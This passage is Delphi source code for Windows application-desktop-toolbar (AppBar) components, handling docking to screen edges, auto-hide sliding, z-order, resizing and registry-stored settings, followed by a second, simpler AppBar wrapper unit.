// If the AppBar is registered as NOT auto-hide, unregister it

AppBarMessage1(abmRemove);

end;

abeFloat:

begin

// We are floating and therefore are just a regular window.

// Tell the shell that the docked AppBar should be of 0x0 dimensions

// so that the workspace is not affected by the AppBar

currentRect := Rect(0, 0, 0, 0);

AppBarMessage4(abmSetPos, EdgeValue, LPARAM(False), currentRect);

rc := Options.FloatRect;

//SetBounds(rc.Left,rc.Top,rc.Right - rc.Left,rc.Bottom - rc.Top)

end;

else

begin

if Options.Autohide and

(AppBarMessage3(abmSetAutoHideBar,

GetEdge,

LPARAM(True)) = 0) then

begin

// We couldn′ t set the AppBar on a new edge, let′ s dock it instead

with Options do

Autohide := False;

// Call a virtual function to let derived classes know that the AppBar

// changed from auto-hide to docked

OnAppBarForcedToDocked;

end;

GetRect(GetEdge, rc);

if Options.Autohide then

begin

currentRect := Rect(0, 0, 0,0);

AppBarMessage4(abmSetPos, abeLeft, LPARAM(False), currentRect);

end

else

begin

// Tell the shell where the AppBar is

AppBarMessage4(abmSetPos, EdgeValue, LPARAM(False), rc);

end;

if AdjustLocationForAutohide(FbAutoHideIsVisible, rc) then

// Slide window in from or out to the edge

SlideWindow(rc);

end; // end of else

end; // end of case

// Set the AppBar′ s z-order appropriately

hWnd := HWND_NOTOPMOST; // Assume normal Z-Order

if Options.AlwaysOnTop then

begin

// If we are supposed to be always-on-top, put us there

hWnd := HWND_TOPMOST;

if FbFullScreenAppOpen then

// But, if a full-screen window is opened, put ourself at the bottom

// of the z-order so that we don′ t cover the full-screen window

hWnd := HWND_BOTTOM;

end;

SetWindowPos(Handle,

hWnd,

0, 0, 0, 0,

SWP_NOMOVE or SWP_NOSIZE or SWP_NOACTIVATE);

// Make sure that any auto-hide appbars stay on top of us after we move

// even though our activation state has not changed

AppBarMessage1(abmActivate);

// Tell our derived class that there is a state change

OnAppBarStateChange(False, EdgeValue);

if CheckBoundsRect(rc) then BoundsRect := rc;

// Show or hide the taskbar entry depending on AppBar position

case Options.TaskEntry of

abtShow:

ShowWindow(Application.Handle, SW_SHOW);

abtHide:

ShowWindow(Application.Handle, SW_HIDE);

abtFloatDependent:

case EdgeValue of

abeFloat:

ShowWindow(Application.Handle, SW_SHOW);

abeLeft, abeTop, abeRight, abeBottom:

ShowWindow(Application.Handle, SW_HIDE);

end;

end;

end;

// TAppBar.SetSlideTime //

procedure TAppBar.SetSlideTime(nInterval: Integer);

begin

with Options do

TimerInterval := nInterval;

FTimer.Interval := nInterval;

end;

{ Overridable functions }

// TAppBar.OnAppBarStateChange

procedure TAppBar.OnAppBarStateChange(bProposed: Boolean;

abEdgeProposed: TAppBarEdge);

var

bFullDragOn: LongBool;

begin

// Find out if the user has FullDrag turned on

SystemParametersInfo(SPI_GETDRAGFULLWINDOWS, 0, @bFullDragOn, 0);

// If FullDrag is turned on OR the appbar has changed position

if bFullDragOn or not bProposed then

begin

if abEdgeProposed = abeFloat then

// Show the window adornments

ModifyStyle(Handle,

GWL_STYLE,

0,

WS_CAPTION or WS_SYSMENU,

SWP_DRAWFRAME)

else

// Hide the window adornments

ModifyStyle(Handle,

GWL_STYLE,

WS_CAPTION or WS_SYSMENU,

0,

SWP_DRAWFRAME);

end;

end;

// TAppBar.OnAppBarForcedToDocked

procedure TAppBar.OnAppBarForcedToDocked;

const

StrHaveAutoHiddenWindow = ′ 屏幕的这一侧已经隐藏了一个工具栏。′ #13 +

′ 每一侧只能自动隐藏一个工具栏！′ ;

begin

// Display the application name as the message box caption text.

//Raise AppBarExcption.Create(StrHaveAutoHiddenWindow);

Application.MessageBox(StrHaveAutoHiddenWindow, PChar(Caption),

MB_ICONINFORMATION or MB_OK);

end;

// TAppBar.OnABNFullScreenApp /

procedure TAppBar.OnABNFullScreenApp(bOpen: Boolean);

begin

// This function is called when a FullScreen window is openning or

// closing. A FullScreen window is a top-level window that has its caption

// above the top of the screen allowing the entire screen to be occupied

// by the window′ s client area.

// If the AppBar is a topmost window when a FullScreen window is activated,

// we need to change our window to a non-topmost window so that the AppBar

// doesn′ t cover the FullScreen window′ s client area.

// If the FullScreen window is closing, we need to set the AppBar′ s

// Z-Order back to when the user wants it to be.

FbFullScreenAppOpen := bOpen;

UpdateBar;

end;

// TAppBar.OnABNPosChanged /

procedure TAppBar.OnABNPosChanged;

begin

// The TaskBar or another AppBar has changed its size or position

if (GetEdge <> abeFloat) and (not Options.Autohide) then

// If we′ re not floating and we′ re not auto-hidden, we have to

// reposition our window

UpdateBar;

end;

// TAppBar.OnABNWindowArrange

procedure TAppBar.OnABNWindowArrange(bBeginning: Boolean);

begin

// This function intentionally left blank

end;

{ Message handlers }

// TAppBar.OnAppBarCallbackMsg

procedure TAppBar.OnAppBarCallbackMsg(var Msg: TMessage);

begin

case Msg.WParam of

ABN_FULLSCREENAPP:

OnABNFullScreenApp(Msg.LParam <> 0);

ABN_POSCHANGED:

OnABNPosChanged;

ABN_WINDOWARRANGE:

OnABNWindowArrange(Msg.LParam <> 0);

end;

end;

// TAppBar.OnCreate

procedure TAppBar.OnCreate(var Msg: TWMCreate);

var

hMenu: THandle;

begin

inherited;

// Associate a timer with the AppBar. The timer is used to determine

// when a visible, inactive, auto-hide AppBar should be re-hidden

FTimer := TTimer.Create(Self);

with FTimer do

begin

Interval := Options.TimerInterval;

OnTimer := OnAppBarTimer;

Enabled := True;

end;

// Save the initial position of the floating AppBar

with Options do

FloatRect := BoundsRect;

// Register our AppBar window with the Shell

AppBarMessage1(abmNew);

// Save the initial size of the floating AppBar

PostMessage(Handle, WM_ENTERSIZEMOVE, 0, 0);

PostMessage(Handle, WM_EXITSIZEMOVE, 0, 0);

// Remove system menu

hMenu := GetSystemMenu(Handle, False);

DeleteMenu(hMenu, SC_RESTORE, MF_BYCOMMAND);

DeleteMenu(hMenu, SC_MINIMIZE, MF_BYCOMMAND);

DeleteMenu(hMenu, SC_MAXIMIZE, MF_BYCOMMAND);

end;

// TAppBar.OnDestroy

procedure TAppBar.OnDestroy(var Msg: TWMDestroy);

begin

// Free the Autohide timer

FTimer.Enabled := False;

FTimer.Free;

// Unregister our AppBar window with the Shell

SetEdge(abeUnknown);

inherited;

end;

// TAppBar.OnWindowPosChanged

procedure TAppBar.OnWindowPosChanged(var Msg: TWMWindowPosChanged);

begin

inherited;

// When our window changes position, tell the Shell so that any

// auto-hidden AppBar on our edge stays on top of our window making it

// always accessible to the user

AppBarMessage1(abmWindowPosChanged);

end;

// TAppBar.OnActivate

procedure TAppBar.OnActivate(var Msg: TWMActivate);

begin

inherited;

if Msg.Active = WA_INACTIVE then

// Hide the AppBar if we are docked and auto-hidden

ShowHiddenAppBar(False);

// When our window changes position, tell the Shell so that any

// auto-hidden AppBar on our edge stays on top of our window making it

// always accessible to the user.

AppBarMessage1(abmActivate);

end;

// TAppBar.OnAppBarTimer

procedure TAppBar.OnAppBarTimer(Sender: TObject);

var

pt: TSmallPoint;

rc: TRect;

begin

if GetActiveWindow <> Handle then

begin

// Possibly hide the AppBar if we are not the active window

// Get the position of the mouse and the AppBar′ s position

// Everything must be in screen coordinates

pt := GetMessagePosition;

GetWindowRect(Handle, rc);

// Add a little margin around the AppBar

InflateRect(rc,

2 * GetSystemMetrics(SM_CXDOUBLECLK),

2 * GetSystemMetrics(SM_CYDOUBLECLK));

if not PtInRect(rc, SmallPointToPoint(pt)) then

// If the mouse is NOT over the AppBar, hide the AppBar

ShowHiddenAppBar(False);

end;

inherited;

end;

// TAppBar.OnNcMouseMove

procedure TAppBar.OnNcMouseMove(var Msg: TWMNCMouseMove);

begin

// If we are a docked, auto-hidden AppBar, shown us

// when the user moves over our non-client area

ShowHiddenAppBar(True);

inherited;

end;

// TAppBar.OnNcHitTest

procedure TAppBar.OnNcHitTest(var Msg: TWMNCHitTest);

var

u: UINT;

bPrimaryMouseBtnDown: Boolean;

rcClient: TRect;

pt: TPoint;

vKey: Integer;

begin

// Find out what the system thinks is the hit test code

inherited;

u := Msg.Result;

// NOTE: If the user presses the secondary mouse button, pretend that the

// user clicked on the client area so that we get WM_CONTEXTMENU messages

if GetSystemMetrics(SM_SWAPBUTTON) <> 0 then

vKey := VK_RBUTTON

else

vKey := VK_LBUTTON;

bPrimaryMouseBtnDown := ((GetAsyncKeyState(vKey) and $8000) <> 0);

pt.X := Msg.XPos;

pt.Y := Msg.YPos;

pt := ScreenToClient(pt);

if (u = HTCLIENT) and bPrimaryMouseBtnDown

and (ControlAtPos(pt, False) = nil) then

// User clicked in client area, allow AppBar to move. We get this

// behavior by pretending that the user clicked on the caption area

u := HTCAPTION;

// If the AppBar is floating and the hittest code is a resize code...

if ((GetEdge = abeFloat) and

(HTSIZEFIRST <= u) and (u <= HTSIZELAST)) then

begin

case u of

HTLEFT, HTRIGHT:

if Options.SizeInc.cx = 0 then

u := HTBORDER;

HTTOP, HTBOTTOM:

if Options.SizeInc.cy = 0 then

u := HTBORDER;

HTTOPLEFT:

if (Options.SizeInc.cx = 0) and (Options.SizeInc.cy = 0) then

u := HTBORDER

else if (Options.SizeInc.cx = 0) and (Options.SizeInc.cy <> 0) then

u := HTTOP

else if (Options.SizeInc.cx <> 0) and (Options.SizeInc.cy = 0) then

u := HTLEFT;

HTTOPRIGHT:

if (Options.SizeInc.cx = 0) and (Options.SizeInc.cy = 0) then

u := HTBORDER

else if (Options.SizeInc.cx = 0) and (Options.SizeInc.cy <> 0) then

u := HTTOP

else if (Options.SizeInc.cx <> 0) and (Options.SizeInc.cy = 0) then

u := HTRIGHT;

HTBOTTOMLEFT:

if (Options.SizeInc.cx = 0) and (Options.SizeInc.cy = 0) then

u := HTBORDER

else if (Options.SizeInc.cx = 0) and (Options.SizeInc.cy <> 0) then

u := HTBOTTOM

else if (Options.SizeInc.cx <> 0) and (Options.SizeInc.cy = 0) then

u := HTLEFT;

HTBOTTOMRIGHT:

if (Options.SizeInc.cx = 0) and (Options.SizeInc.cy = 0) then

u := HTBORDER

else if (Options.SizeInc.cx = 0) and (Options.SizeInc.cy <> 0) then

u := HTBOTTOM

else if (Options.SizeInc.cx <> 0) and (Options.SizeInc.cy = 0) then

u := HTRIGHT;

end;

end;

// When the AppBar is docked, the user can resize only one edge.

// This next section determines which edge the user can resize.

// To allow resizing, the AppBar window must have the WS_THICKFRAME style

// If the AppBar is docked and the hittest code is a resize code...

if ((GetEdge <> abeFloat) and (GetEdge <> abeUnknown) and

(HTSIZEFIRST <= u) and (u <= HTSIZELAST)) then

begin

if (IsEdgeLeftOrRight(GetEdge) and (Options.SizeInc.cx = 0)) or

(not IsEdgeLeftOrRight(GetEdge) and (Options.SizeInc.cy = 0)) then

begin

// If the width/height size increment is zero, then resizing is NOT

// allowed for the edge that the AppBar is docked on

u := HTBORDER; // Pretend that the mouse is not on a resize border

end

else

begin

// Resizing IS allowed for the edge that the AppBar is docked on

// Get the location of the appbar′ s client area in screen coordinates

rcClient := GetClientRect;

pt.X := rcClient.Left;

pt.Y := rcClient.Top;

pt := ClientToScreen(pt);

rcClient.Left := pt.X;

rcClient.Top := pt.Y;

pt.X := rcClient.Right;

pt.Y := rcClient.Bottom;

pt := ClientToScreen(pt);

rcClient.Right := pt.X;

rcClient.Bottom := pt.Y;

u := HTBORDER; // Assume that we can′ t resize

case GetEdge of

abeLeft:

if Msg.XPos > rcClient.Right then

u := HTRIGHT;

abeTop:

if Msg.YPos > rcClient.Bottom then

u := HTBOTTOM;

abeRight:

if Msg.XPos < rcClient.Left then

u := HTLEFT;

abeBottom:

if Msg.YPos < rcClient.Top then

u := HTTOP;

end; // end of case

end; // end of else

end;

// Return the hittest code

Msg.Result := u;

end;

// TAppBar.OnEnterSizeMove

procedure TAppBar.OnEnterSizeMove(var Msg: TMessage);

begin

// The user started moving/resizing the AppBar, save its current state

FabEdgeProposedPrev := GetEdge;

end;

// TAppBar.OnExitSizeMove

procedure TAppBar.OnExitSizeMove(var Msg: TMessage);

var

abEdgeProposedPrev: TAppBarEdge;

rc, rcWorkArea: TRect;

w, h: Integer;

begin

// The user stopped moving/resizing the AppBar, set the new state

// Save the new proposed state of the AppBar

abEdgeProposedPrev := FabEdgeProposedPrev;

// Set the proposed state back to unknown. This causes GetState

// to return the current state rather than the proposed state

FabEdgeProposedPrev := abeUnknown;

// Get the location of the window in screen coordinates

GetWindowRect(Handle, rc);

// If the AppBar′ s state has changed...

if GetEdge = abEdgeProposedPrev then

case GetEdge of

abeLeft, abeRight:

// Save the new width of the docked AppBar

with Options do

DockSize.cx := rc.Right - rc.Left;

abeTop, abeBottom:

// Save the new height of the docked AppBar

with Options do

DockSize.cy := rc.Bottom - rc.Top;

abeFloat:

// If AppBar was floating and keeps floating...

with Options do

FloatRect := rc;

end;

// Always save the new position of the floating AppBar

if abEdgeProposedPrev = abeFloat then

begin

// Propose width and height depending on the current window position

w := rc.Right - rc.Left;

h := rc.Bottom - rc.Top;

// Adjust width and height

SystemParametersInfo(SPI_GETWORKAREA, 0, @rcWorkArea, 0);

if (w >= (rcWorkArea.Right - rcWorkArea.Left)) or

(h >= (rcWorkArea.Bottom - rcWorkArea.Top)) then

begin

w := Options.FloatRect.Right - Options.FloatRect.Left;

h := Options.FloatRect.Bottom - Options.FloatRect.Top;

end;

// Save new floating position

with Options do

begin

FloatRect.Left := rc.Left;

FloatRect.Top := rc.Top;

FloatRect.Right := rc.Left + w;

FloatRect.Bottom := rc.Top + h;

end;

end;

// After setting the dimensions, set the AppBar to the proposed state

SetEdge(abEdgeProposedPrev);

end;

// TAppBar.OnMoving

procedure TAppBar.OnMoving(var Msg: TMessage);

var

prc: PRect;

pt: TSmallPoint;

abEdgeProposed: TAppBarEdge;

w, h: Integer;

begin

// We control the moving of the AppBar. For example, if the mouse moves

// close to an edge, we want to dock the AppBar

// The lParam contains the window′ s position proposed by the system

prc := PRect(Msg.LParam);

// Get the location of the mouse cursor

pt := GetMessagePosition;

// Where should the AppBar be based on the mouse position?

abEdgeProposed := CalcProposedState(pt);

if ((FabEdgeProposedPrev <> abeFloat) and

(abEdgeProposed = abeFloat)) then

begin

// While moving, the user took us from a docked/autohidden state to

// the float state. We have to calculate a rectangle location so that

// the mouse cursor stays inside the window.

prc^ := Options.FloatRect;

w := prc^.Right - prc^.Left;

h := prc^.Bottom - prc^.Top;

with prc^ do

begin

Left := pt.X - w div 2;

Top := pt.Y;

Right := pt.X - w div 2 + w;

Bottom := pt.Y + h;

end;

end;

// Remember the most-recently proposed state

FabEdgeProposedPrev := abEdgeProposed;

// Tell the system where to move the window based on the proposed state

GetRect(abEdgeProposed, prc^);

// Tell our derived class that there is a proposed state change

OnAppBarStateChange(True, abEdgeProposed);

end;

// TAppBar.OnSizing

procedure TAppBar.OnSizing(var Msg: TMessage);

var

prc: PRect;

rcBorder: TRect;

nWidthNew, nHeightNew: Integer;

begin

// We control the sizing of the AppBar. For example, if the user re-sizes

// an edge, we want to change the size in discrete increments.

// The lParam contains the window′ s position proposed by the system

prc := PRect(Msg.LParam);

// Get the minimum allowed size of the window depending on current edge.

// This is the width/height of the window that must always be present

with Options do

case abEdge of

abeFloat:

rcBorder := Rect(0, 0, MinWidth, MinHeight);

else

rcBorder := Rect(0, 0, MinDockSize.cx, MinDockSize.cy);

end;

// We force the window to resize in discrete units set by the Options.SizeInc

// member. From the new, proposed window dimensions passed to us, round

// the width/height to the nearest discrete unit

if Options.SizeInc.cx <> 0 then

nWidthNew := ((prc^.Right - prc^.Left) - (rcBorder.Right - rcBorder.Left)

+ Options.SizeInc.cx div 2) div Options.SizeInc.cx

* Options.SizeInc.cx + (rcBorder.Right - rcBorder.Left)

else

nWidthNew := prc^.Right - prc^.Left;

if Options.SizeInc.cy <> 0 then

nHeightNew := ((prc^.Bottom - prc^.Top) - (rcBorder.Bottom - rcBorder.Top)

+ Options.SizeInc.cy div 2) div Options.SizeInc.cy

* Options.SizeInc.cy + (rcBorder.Bottom - rcBorder.Top)

else

nHeightNew := prc^.Bottom - prc^.Top;

// Adjust the rectangle′ s dimensions

case Msg.wParam of

WMSZ_LEFT:

prc^.Left := prc^.Right - nWidthNew;

WMSZ_TOP:

prc^.Top := prc^.Bottom - nHeightNew;

WMSZ_RIGHT:

prc^.Right := prc^.Left + nWidthNew;

WMSZ_BOTTOM:

prc^.Bottom := prc^.Top + nHeightNew;

WMSZ_BOTTOMLEFT:

begin

prc^.Bottom := prc^.Top + nHeightNew;

prc^.Left := prc^.Right - nWidthNew;

end;

WMSZ_BOTTOMRIGHT:

begin

prc^.Bottom := prc^.Top + nHeightNew;

prc^.Right := prc^.Left + nWidthNew;

end;

WMSZ_TOPLEFT:

begin

prc^.Left := prc^.Right - nWidthNew;

prc^.Top := prc^.Bottom - nHeightNew;

end;

WMSZ_TOPRIGHT:

begin

prc^.Top := prc^.Bottom - nHeightNew;

prc^.Right := prc^.Left + nWidthNew;

end;

end; // end of case

end;

// TAppBar.OnGetMinMaxInfo

procedure TAppBar.OnGetMinMaxInfo(var Msg: TWMGetMinMaxInfo);

begin

if GetEdge = abeFloat then

with Msg.MinMaxInfo^ do

begin

ptMinTrackSize.X := Options.MinWidth;

ptMinTrackSize.Y := Options.MinHeight;

ptMaxTrackSize.X := Options.MaxWidth;

ptMaxTrackSize.Y := Options.MaxHeight;

end

else

with Msg.MinMaxInfo^ do

begin

ptMinTrackSize.X := Options.MinDockSize.cx;

ptMinTrackSize.Y := Options.MinDockSize.cy;

ptMaxTrackSize.X := GetSystemMetrics(SM_CXSCREEN);

ptMaxTrackSize.Y := GetSystemMetrics(SM_CYSCREEN);

if not IsEdgeTopOrBottom(GetEdge) then

ptMaxTrackSize.X := Options.MaxDockSize.cx;

if not IsEdgeLeftOrRight(GetEdge) then

ptMaxTrackSize.Y := Options.MaxDockSize.cy;

end;

end;

{ AppBar-specific helper functions }

// TAppBar.IsEdgeLeftOrRight

function TAppBar.IsEdgeLeftOrRight(abEdge: TAppBarEdge): Boolean;

begin

Result := (abEdge in [abeLeft, abeRight]);

end;

// TAppBar.IsEdgeTopOrBottom

function TAppBar.IsEdgeTopOrBottom(abEdge: TAppBarEdge): Boolean;

begin

Result := (abEdge in [abeTop, abeBottom]);

end;

// TAppBar.IsFloating

function TAppBar.IsFloating(abEdge: TAppBarEdge): Boolean;

begin

Result := (abEdge = abeFloat);

end;

// TAppBar.IsDockable

function TAppBar.IsDockable(abFlags: TAppBarFlags): Boolean;

begin

Result := ((abFlags * [abfAllowLeft..abfAllowBottom]) <> []);

end;

// TAppBar.IsDockableVertically

function TAppBar.IsDockableVertically(abFlags: TAppBarFlags): Boolean;

begin

Result := ((abFlags * [abfAllowLeft, abfAllowRight]) <> []);

end;

// TAppBar.IsDockableHorizontally

function TAppBar.IsDockableHorizontally(abFlags: TAppBarFlags): Boolean;

begin

Result := ((abFlags * [abfAllowTop, abfAllowBottom]) <> []);

end;

// TAppBar.ResetSystemKnowledge

procedure TAppBar.ResetSystemKnowledge;

{$IFDEF DEBUG}

var

abd: TAppBarData;

{$ENDIF}

begin

{$IFDEF DEBUG}

abd.cbSize := sizeof(abd);

abd.hWnd := 0;

SHAppBarMessage(ABM_REMOVE, abd);

{$ENDIF}

end;

// TAppBar.GetEdgeFromPoint

function TAppBar.GetEdgeFromPoint(abFlags: TAppBarFlags;

pt: TSmallPoint): TAppBarEdge;

var

rc: TRect;

cxScreen: Integer;

cyScreen: Integer;

ptCenter: TSmallPoint;

ptOffset: TSmallPoint;

bIsLeftOrRight: Boolean;

abSubstEdge: TAppBarEdge;

begin

// Let′ s get floating out of the way first

if abfAllowFloat in abFlags then

begin

// Get the rectangle that bounds the size of the screen

// minus any docked (but not-autohidden) AppBars

SystemParametersInfo(SPI_GETWORKAREA, 0, @rc, 0);

// Leave a 1/2 width/height-of-a-scrollbar gutter around the workarea

InflateRect(rc,

-GetSystemMetrics(SM_CXVSCROLL),

-GetSystemMetrics(SM_CYHSCROLL));

// If the point is in the adjusted workarea OR no edges are allowed

if PtInRect(rc, SmallPointToPoint(pt)) or

not IsDockable(abFlags) then

begin

// The AppBar should float

Result := abeFloat;

Exit;

end;

end;

// If we get here, the AppBar should be docked; determine the proper edge

// Get the dimensions of the screen

cxScreen := GetSystemMetrics(SM_CXSCREEN);

cyScreen := GetSystemMetrics(SM_CYSCREEN);

// Find the center of the screen

ptCenter.X := cxScreen div 2;

ptCenter.Y := cyScreen div 2;

// Find the distance from the point to the center

ptOffset.X := pt.X - ptCenter.X;

ptOffset.Y := pt.Y - ptCenter.Y;

// Determine if the point is farther from the left/right or top/bottom

bIsLeftOrRight :=

((Abs(ptOffset.Y) * cxScreen) <= (Abs(ptOffset.X) * cyScreen));

// Propose an edge

if bIsLeftOrRight then

begin

if 0 <= ptOffset.X then

Result := abeRight

else

Result := abeLeft;

end

else

begin

if 0 <= ptOffset.Y then

Result := abeBottom

else

Result := abeTop;

end;

// Calculate an edge substitute

if abfAllowFloat in abFlags then

abSubstEdge := abeFloat

else

abSubstEdge := Options.abEdge;

// Check if the proposed edge is allowed. If not, return the edge substitute

case Result of

abeLeft: if not (abfAllowLeft in abFlags) then

Result := abSubstEdge;

abeTop: if not (abfAllowTop in abFlags) then

Result := abSubstEdge;

abeRight: if not (abfAllowRight in abFlags) then

Result := abSubstEdge;

abeBottom: if not (abfAllowBottom in abFlags) then

Result := abSubstEdge;

end;

end;

{ Public member functions }

// TAppBar.Create

constructor TAppBar.Create(Owner: TComponent);

begin

//留出工具栏托拽的位置

BarIndent := 4;

// Force the shell to update its list of AppBars and the workarea.

// This is a precaution and is very useful when debugging. If you create

// an AppBar and then just terminate the application, the shell still

// thinks that the AppBar exists and the user′ s workarea is smaller than

// it should be. When a new AppBar is created, calling this function

// fixes the user′ s workarea.

ResetSystemKnowledge;

// Set default state of AppBar to float with no width & height

with Options do

begin

Size := sizeof(TAppBarSettings);

abEdge := abeFloat;

Flags := [abfAllowLeft..abfAllowFloat];

Autohide := False;

AlwaysOnTop := True;

SlideEffect := True;

TimerInterval := SLIDE_DEF_TIMER_INTERVAL;

SizeInc.cx := AB_DEF_SIZE_INC;

SizeInc.cy := AB_DEF_SIZE_INC;

DockSize.cy := AB_DEF_DOCK_SIZE;

DockSize.cx := AB_DEF_DOCK_SIZE;

FloatRect := Rect(0, 0, 200, 100);

MinWidth := 0;

MinHeight := 0;

MaxWidth := GetSystemMetrics(SM_CXSCREEN);

MaxHeight := GetSystemMetrics(SM_CYSCREEN);

MinDockSize.cx := 0;

MinDockSize.cy := 0;

MaxDockSize.cx := GetSystemMetrics(SM_CXSCREEN) div 2;

MaxDockSize.cy := GetSystemMetrics(SM_CYSCREEN) div 2;

TaskEntry := abtFloatDependent;

end;

FabEdgeProposedPrev := abeUnknown;

FbFullScreenAppOpen := False;

FbAutoHideIsVisible := False;

// Set default location of the settings in the registry

with LocationSetting do

begin

RootKey := AB_DEF_ROOT_KEY;

KeyName := AB_DEF_KEY_NAME;

end;

// Call base class

inherited Create(Owner);

end;

// TAppBar.Destroy

destructor TAppBar.Destroy;

begin

ResetSystemKnowledge;

// Call base class

inherited Destroy;

end;

// TAppBar.UpdateBar

procedure TAppBar.UpdateBar;

begin

SetEdge(GetEdge);

end;

// TAppBar.LoadSettings

function TAppBar.LoadSettings: Boolean;

var

reg: TRegistry;

abs: TAppBarSettings;

begin

Result := False;

reg := TRegistry.Create;

try

// Set the RootKey

reg.RootKey := LocationSetting.RootKey;

// Open the KeyName

if reg.OpenKey(LocationSetting.KeyName, False) then

// Load the Options record from the ′ default′ value

if reg.ReadBinaryData(′ ′ , abs, sizeof(abs)) = sizeof(abs) then

begin

Options := abs;

Result := True;

end;

finally

reg.Free;

end;

end;

// TAppBar.SaveSettings

function TAppBar.SaveSettings: Boolean;

var

reg: TRegistry;

begin

Result := False;

reg := TRegistry.Create;

try

// Set the RootKey

reg.RootKey := LocationSetting.RootKey;

// Open the KeyName, creating it if not exists

if reg.OpenKey(LocationSetting.KeyName, True) then

begin

// Save the Options record in the ′ default′ value

reg.WriteBinaryData(′ ′ , FABSetting, sizeof(FABSetting));

Result := True;

end;

finally

reg.Free;

end;

end;

procedure TAppBar.AdjustClientRect(var Rect: TRect);

begin

inherited AdjustClientRect(Rect);

case Edge of

abeTop, abeBottom:

Rect.Left := Rect.Left + BarIndent;

abeLeft, abeRight:

Rect.Top := Rect.Top + BarIndent;

end;

end;

end.


App Bar功能

{

FILE: APPBAR.PAS by Eric Janssen (e.janssen@libertel.nl)

DESCRIPTION: Encapsuling of SHAppBarMessage

}

unit AppBar;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ShellApi;

const

WM_APPBAR = WM_USER +1;

type

TEdge = (abeLeft, abeTop, abeRight, abeBottom);

TQuerySizeEvent = procedure(Sender: TObject; Edge: TEdge; var Width, Height: Integer) of object;

TAppBar = class(TComponent)

private

{ Private declarations }

m_ABD: TAppBarData;

m_WndProc: TWndMethod;

m_Edge: TEdge;

m_QuerySize: TQuerySizeEvent;

procedure SetEdge(const Value: TEdge);

procedure WndProc(var Msg: TMessage);

protected

{ Protected declarations }

procedure ABRegister; virtual;

procedure ABUnregister; virtual;

procedure ABSetPos; virtual;

procedure ABPosChanged; virtual;

procedure ABFullScreenApp(Enabled: Boolean); virtual;

procedure ABSetAutoHide(Enabled: Boolean); virtual;

public

{ Public declarations }

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

procedure Loaded; override;

published

{ Published declarations }

property Edge: TEdge read m_Edge write SetEdge;

property QuerySize: TQuerySizeEvent read m_QuerySize write m_QuerySize;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Libertel', [TAppBar]);

end;

//------------------------------------------------------------------------------

procedure TAppBar.ABRegister;

begin

// check if we are not in the Delphi IDE

if not (csDesigning in ComponentState) then

begin

// make sure we get the notification messages

m_WndProc:= TWinControl(Owner).WindowProc;

TWinControl(Owner).WindowProc:= WndProc;

m_ABD.cbSize:= SizeOf(TAppBarData);

m_ABD.hWnd:= TWinControl(Owner).Handle;

m_ABD.uCallbackMessage:= WM_APPBAR;

// register the application bar within the system

if SHAppBarMessage(ABM_NEW, m_ABD) = 0 then

raise Exception.Create(SysErrorMessage(GetLastError()));

// make it a toolwindow with no caption

if SetWindowLong(m_ABD.hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW or WS_EX_DLGMODALFRAME) = 0 then

raise Exception.Create(SysErrorMessage(GetLastError()));

if SetWindowLong(m_ABD.hWnd, GWL_STYLE, 0) = 0 then

raise Exception.Create(SysErrorMessage(GetLastError()));

SetWindowPos(m_ABD.hWnd, m_ABD.hWnd, 0, 0, 0, 0, SWP_FRAMECHANGED or SWP_NOACTIVATE or SWP_NOSIZE or SWP_SHOWWINDOW);

end;

end;

//------------------------------------------------------------------------------

procedure TAppBar.ABSetPos;

var Height, Width: Integer;

begin

if not (csDesigning in ComponentState) then

begin

// default size

Width:= TWinControl(Owner).Width;

Height:= TWinControl(Owner).Height;

// request the new size

if Assigned(m_QuerySize) then

m_QuerySize(Self, m_Edge, Width, Height);

m_ABD.rc.Right:= GetSystemMetrics(SM_CXSCREEN);

m_ABD.rc.Bottom:= GetSystemMetrics(SM_CYSCREEN);

if (m_ABD.uEdge = ABE_LEFT) or (m_ABD.uEdge = ABE_RIGHT) then

begin

if m_ABD.uEdge = ABE_LEFT then m_ABD.rc.Left:= 0

else m_ABD.rc.Left:= GetSystemMetrics(SM_CXSCREEN) - Width;

m_ABD.rc.Top:= 0;

end else

begin

if m_ABD.uEdge = ABE_TOP then m_ABD.rc.Top:= 0

else m_ABD.rc.Top:= GetSystemMetrics(SM_CYSCREEN) - Height;

m_ABD.rc.Left:= 0;

end;

// query the new position

if SHAppBarMessage(ABM_QUERYPOS, m_ABD) = 0 then

raise Exception.Create(SysErrorMessage(GetLastError()));

// calculate the size

case m_ABD.uEdge of

ABE_LEFT:

m_ABD.rc.Right:= m_ABD.rc.Left + Width;

ABE_RIGHT:

m_ABD.rc.Left:= m_ABD.rc.Right - Width;

ABE_TOP:

m_ABD.rc.Bottom:= m_ABD.rc.Top + Height;

ABE_BOTTOM:

m_ABD.rc.Top:= m_ABD.rc.Bottom - Height;

end;

// set the new size

if SHAppBarMessage(ABM_SETPOS, m_ABD) = 0 then

raise Exception.Create(SysErrorMessage(GetLastError()));

// move the form

MoveWindow(m_ABD.hWnd, m_ABD.rc.Left, m_ABD.rc.Top,

m_ABD.rc.Right - m_ABD.rc.Left,

m_ABD.rc.Bottom - m_ABD.rc.Top, TRUE);

end;

end;

//------------------------------------------------------------------------------

procedure TAppBar.ABUnregister;

begin

// check if the form is not being destroyed and not in the Delphi IDE

if not (csDesigning in ComponentState) then

begin

if not (csDestroying in ComponentState) then

TWinControl(Owner).WindowProc:= m_WndProc;

// remove the application bar

if SHAppBarMessage(ABM_REMOVE, m_ABD) = 0 then

raise Exception.Create(SysErrorMessage(GetLastError()));

end;

end;

//------------------------------------------------------------------------------

constructor TAppBar.Create(AOwner: TComponent);

var I: Cardinal;

begin

inherited Create(AOwner);

// check if we have an owner

if Assigned(AOwner) then

begin

// we could turn everything with a handle into a application-bar, but for

// for Delphi we only use descendants of TCustomForm

if (AOwner is TCustomForm) then

begin

// make sure we are the only one

for I:=0 to AOwner.ComponentCount -1 do

begin

if (AOwner.Components[I] is TAppBar) and (AOwner.Components[I] <> Self) then

raise Exception.Create('Ooops, you need only *ONE* of these');

end;

end else

raise Exception.Create('Sorry, can''t do this only with TCustomForms');

end else

raise Exception.Create('Sorry, can''t do this without an owner');

end;

//------------------------------------------------------------------------------

destructor TAppBar.Destroy;

begin

ABUnregister();

inherited Destroy();

end;

//------------------------------------------------------------------------------

procedure TAppBar.Loaded;

begin

inherited Loaded();

ABRegister();

ABSetPos();

end;

//------------------------------------------------------------------------------

